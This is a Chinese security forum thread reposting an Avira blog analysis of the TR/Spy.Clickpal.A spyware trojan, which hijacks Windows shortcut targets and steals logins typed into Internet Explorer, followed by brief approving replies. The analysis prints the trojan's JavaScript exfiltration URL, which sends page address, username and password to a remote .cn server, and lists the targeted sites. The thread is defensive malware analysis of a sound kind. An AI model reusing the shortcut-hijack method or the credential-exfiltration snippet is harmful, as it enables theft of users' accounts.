近距离观察TR/Spy.Clickpal.A木马

显示全部楼层 · 发表于 2011-2-28 15:48:51

我们分析一个木马间谍样本，因为我们对于他是如何在操作系统上面传播的及其如何将盗取的信息发出去的方式感兴趣。紧接着，这个恶意软件搜索用户桌面上存在的和特殊文件夹的.link文件。然后，它循着可执行文件路径指向该文件，在目标目录创建了自己的复件，并使用原始的文件名。然后，原来的可执行文件会被重新命名为“click_％可执行文件名％.exe“。有趣的是，木马不会删除原始文件，它只是重命名它们。

成功感染后的恶意软件会执行重命名后的可执行文件。这意味着用户通常不会注意.link文件后面的目标已经被替换了。这是木马的一个策略，以保持尽可能长的时间不被发现。

微软的IE浏览器是这次行动的直接目标：

该木马不修改注册表键值或使用操作系统中提供的任何自动运行的其他方法，因为它不是必要的，因为事实上该木马在用户执行的快捷方式时被执行.内存转储文件说明了由木马监视的网页地址列表。在监测过程中它搜索登录表单和PHP和ASP脚本登录脚本。

通过访问这些网址，盗窃的登录信息会被收集并发送到远程服务器。

为了达到这样的目的，木马利用了一些JavaScript代码。这些脚本收集包括用户名，密码和当前的网页信息，然后发送到位于中国的一个服务器。这样的远程地址请求类似于：

http://www2.%RemoteAddress%.cn/dedaoinfo/?info=’+window.location.href+’@@@@’+login.username.value+’@@@@’+login.password.value

大多数针对的网站是中国站点，如：

youku.com
tudou.com
sogou.com
soho.com

也有国际大型站点，如：

msn.com
paypal.com
google.com
youtube.com
yahoo.com

该木马本身是Visual Basic编写的。红伞已经可以检测这个木马，命名为：TR/Spy.Clickpal.A.

资料来源于AVIRA技术博客

。

显示全部楼层 · 发表于 2011-2-28 15:55:03

不错的文章!

显示全部楼层 · 发表于 2011-2-28 19:00:12

不错不错，我是来学习的，得好好看看！

显示全部楼层 · 发表于 2011-2-28 19:30:37

学习学习~以防万一

显示全部楼层 · 发表于 2011-2-28 19:45:43

学习了。。。

显示全部楼层 · 发表于 2011-2-28 20:28:20

支持小紅傘

显示全部楼层 · 发表于 2011-2-28 20:34:21

学习学习

显示全部楼层 · 发表于 2011-2-28 22:45:01

技术性较强的文章。

显示全部楼层 · 发表于 2011-3-1 14:21:59

貌似这类病毒在avast区有过样本出现，有些用户会以为avast误报网站

看来是真的有东东啊

有样本就更好玩了

显示全部楼层 · 发表于 2011-3-1 15:33:03

感谢分享！无条件顶。

[技术原创] 近距离观察TR/Spy.Clickpal.A木马

本帖子中包含更多资源

评分